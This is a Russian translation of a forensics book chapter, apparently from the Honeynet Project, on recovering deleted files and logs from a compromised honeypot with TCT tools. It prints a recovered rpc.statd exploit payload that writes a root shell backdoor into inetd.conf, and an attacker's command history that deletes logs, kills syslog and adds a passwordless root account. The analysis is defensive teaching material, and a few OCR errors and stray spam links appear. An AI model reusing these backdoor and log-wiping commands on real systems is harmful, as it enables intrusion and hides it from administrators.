Предисловие
Благодарности
Введение
Поле битвы

ПРОЕКТ HONEYNET
СИСТЕМА HONEYPOT
СЕТЬ HONEYNET
Назначение Honeynet
Система Honeypot в сети Honeynet
РЕЗЮМЕ

Как работает Honeynet
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
Уровень контроля доступа
Сетевой уровень
Системный уровень
Автономный уровень
СОЦИОТЕХНИКА
Риск
РЕЗЮМЕ

Создание сети Honeynet
ОБЩАЯ АРХИТЕКТУРА
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
ПОДДЕРЖАНИЕ HONEYNET И РЕАГИРОВАНИЕ НА АТАКИ
РЕЗЮМЕ

АНАЛИЗ
Анализ данных
РЕГИСТРАЦИОННЫЕ ЖУРНАЛЫ БРАНДМАУЭРА
АНАЛИЗ IDS
СИСТЕМНЫЕ ЖУРНАЛЫ
РЕЗЮМЕ

Анализ взломанной системы
НАПАДЕНИЕ
АНАЛИЗ
Взлом
ПОЛУЧЕНИЕ ДОСТУПА
ВОЗВРАЩЕНИЕ
РЕЗУЛЬТАТЫ АНАЛИЗА
РЕЗЮМЕ

Продвинутый анализ данных
ПАССИВНАЯ ДАКТИЛОСКОПИЯ
Сигнатуры
Пример ICMP
СИСТЕМНОЕ ВСКРЫТИЕ
РЕЗЮМЕ

Практика системного вскрытия
ОБРАЗЫ
ИНСТРУМЕНТЫ THE CORONER'S TOOLKIT
ВРЕМЯ MAC
УДАЛЕННЫЕ СТРУКТУРЫ INODE
ВОССТАНОВЛЕНИЕ ДАННЫХ
РЕЗЮМЕ

УГРОЗА
ТАКТИКА
ИНСТРУМЕНТЫ
Мотивы
МЕНЯЮЩИЕСЯ ТЕНДЕНЦИИ
РЕЗЮМЕ

Червяки на войне
УСТАНОВКА
ПЕРВЫЙ ЧЕРВЯК
ВТОРОЙ ЧЕРВЯК
НА СЛЕДУЮЩИЙ ДЕНЬ
РЕЗЮМЕ

Своими собственными словами
Взлом

Наша ссылка ;)



динамометрические ключи выбрать Arstools
ведущий на свадьбу, организация свадьбы тамада


ВОССТАНОВЛЕНИЕ ДАННЫХ

Удаленные файлы можно потенциально восстановить, если была определена inode, что и произошло в данном примере. В ТСТ входит инструмент под названием icat, созданный специально для таких случаев. При наличии восстановленной структуры inode инструмент icat может восстановить удаленный файл.

ids $ icat images/honeypot.hda8.dd 8133 > recovered_file
ids $file recovered_file
recovered_file: GNU tar archive
ids $ls -1 recovered_file
-rw-r 1 lance lance 2129920 Feb 21 19:44 recovered_file

Мы видим, что это файл архива tar. Обратите внимание на то, что размер восстановленного файла соответствует значению в восстановленной inode. В рамках нашего анализа можно теперь разархивировать и проанализировать восстановленный файл. В данном случае мы обнаружили, что в файле содержится IRC bot, или робот, программа под названием eggdrop, с функциями кодирования. Информацию о eggdrop и IRC bot можно найти на следующих сайтах:

• http: //www. xcalibre. com /eggdmp. htm;
• http://ciac. llnl.gov/ciac/documents/ CIAC-2318_IRC_On_Your_Dime.pdf,
• http://www. irchelp. org/irchelp/irctutorial. html.

Информация о владельце говорит о том, что для загрузки была использована учетная запись пользователя lance. Она существовала в разделе hda8, который является корневым. Скорее всего, файл был загружен в /tmp, самое подходящее место для записи при помощи lance. Подробный анализ восстановленной программы eggdrop показывает, что она была создана для целей кодирования.

Помимо восстановления inode у ТСТ есть еще одна опция, ипгт, предназначенная для восстановления удаленных файлов. Эта утилита отличается от icat, который восстанавливает данные, относящиеся к отдельной inode. Напротив, unrm берет раздел и выдает все, что было удалено из него. При установке образов разделов в /mnt, мы можем получить доступ к существующей файловой системе, но не можем обратиться ни к чему из того, что было удалено. Unrm предоставляет полностью противоположную возможность: выдает только данные, которые были удалены. Это отличный способ восстановления тех данных, которые невозможно восстановить при помощи удаленных структур inode. Например, мы подозреваем, что взломщик изменил системные журналы, скорее всего, чтобы удалить все записи о доступе или действиях. Тогда можно воспользоваться функциями unrm для просмотра удаленных областей в разделе /var, где хранятся системные журналы, и посмотреть, что там можно найти. Как и в случае с ils, необходимо использовать unrm только в образе раздела, а не в установленной файловой системе. В приведенном ниже коде мы используем unrm для просмотра образа раздела /var взломанной системы honeypot:

ids $unrm honeypot.hda7.dd | less -B
Nov 5 10:54:05 apollo modprobe: modprobe: Can't locate module ehtO
Nov 5 10:54:52 apollo inetd[408]: pid 680: exit status 1
Nov 5 10:55:11 apollo PAM_pwdb[621]: (login) session closed for user root
Nov 6 03:00:41 apollo ftpd[973]: FTP session closed
Nov 6 04:02:00 apollo anacron[1003]: Updated timestamp for job
'cron.daily' to 2000-11-06
Nov 7 04:02:00 apollo anacron[1576]: Updated timestamp for job
'cron.daily' to 2000-11-07
Nov 8 00:08:41 apollo inetd[408]: pid 2077: exit status 1 Nov 8 00:08:41 apollo inetd[408]: pid 2078: exit status 1 Nov 8 00:09:00 apollo rpc. statd[270]: SM_MOIt request for ho\ stname containing '/': "DAD"E"E"F"F"G~C08049f10 bffff754 000028f8 4d5f4d53 72204e4f \ 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e69\ 61 2720676e 203a272f 000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000bffff7040000000000000000000000000000000000000\ 0000000000bffff7050000bffff706000000000000000000000000000000\ oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooox 000000000000000000000000000000000000000000000000000000000000\ 0000000000000000000000000000000000bffff707<90X90><90><90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90x90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9\ 0XEB>R"<89>v <8D>~(<83xC6> <89>"<83> <\ 8D>".<83XC6> <83> <83>#<89>"KC0><83> <88>F\ '<88>F*<83> <88>FF+, <89><8D>N<8\ D>V<80>1<89>/bi\ n/sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >> /e\ tc/inetd.conf;killall -HUP inetd Здесь мы видим удаленные записи регистрации. Они, скорее всего, были удалены, чтобы скрыть следы деятельности взломщика. Обратите внимание, что в одной записи содержится информация о нападении грс и программный код, который был запущен в системе.

Зачастую unrm собирает большое количество данных, которые не так просто обработать. Инструмент lazarus берет результаты работы unrm и пытается конвертировать восстановленные данные в отдельные бинарные или ASCII-файлы. Затем нужную информацию можно поискать среди этих файлов. Например, unrm был запущен в разделе hda8. Затем собранная информация анализируется при помощи lazarus, который записывает и собирает удаленные файлы, пытаясь как-то их организовать.

Один из файлов, который lazarus назвал 156859.txt, кажется, содержит важную информацию. Дальнейший анализ показывает, что это текстовый файл ASCII, скорее всего, удаленный файл истории команд. Здесь может оказаться самое ценное, так как этот файл записал команды взломщика, а затем был удален. Другими словами, взломщик не хотел нам показывать определенную информацию: команды, для которых требуется локальный доступ - предположительно использование дискеты, с правами системного администратора. То, что идет после команды exit, очевидно, работа злоумышленника, который инсталлирует backdoor (черный ход) и создает учетные записи own и adm1. Это обычный прием хакеров, использующих удаленный взлом, дающий им доступ к командной оболочке. В данном случае при взломе открывается оболочка, выполняющая команды порта 4545/ tcp. Затем взломщик устанавливает с этим портом соединение TELNET и получает доступ администратора без всякого пароля. После этого он устанавливает другой, более надежный черный ход, а потом его закрывает.

uptime
гш -rf /etc/hosts.deny
touch /etc/hosts.deny
rm -rf /var/log/wtmp
touch /var/log/wtmp
killall -9 klogd
killall -9 syslogd
rm -rf /etc/rc.d/init.d/*log*
echo own:x:0:0::/root:/bin/bash » /etc/passwd
echo adm1:x:5000:5000:Tech Admin:/tmp:/bin/bash » /etc/passwd
echo own:: 10865:0:99999:7:-1:-1:134538460 » /etc/shadow
echo adm1:Yi2yCGHow0wg:10884:0:99999:7:-1:-1:134538412 » /etc/shadow
cat /etc/inetd.conf | grep tel
exit

Одновременное использование опции unrm и утилиты lazarus - это мощный инструмент восстановления информации. Зачастую именно удаленные данные, которые взломщик хочет скрыть от нашего взгляда, оказываются наиболее значимыми.
Copyright (ЦЕ) Addison-Wesley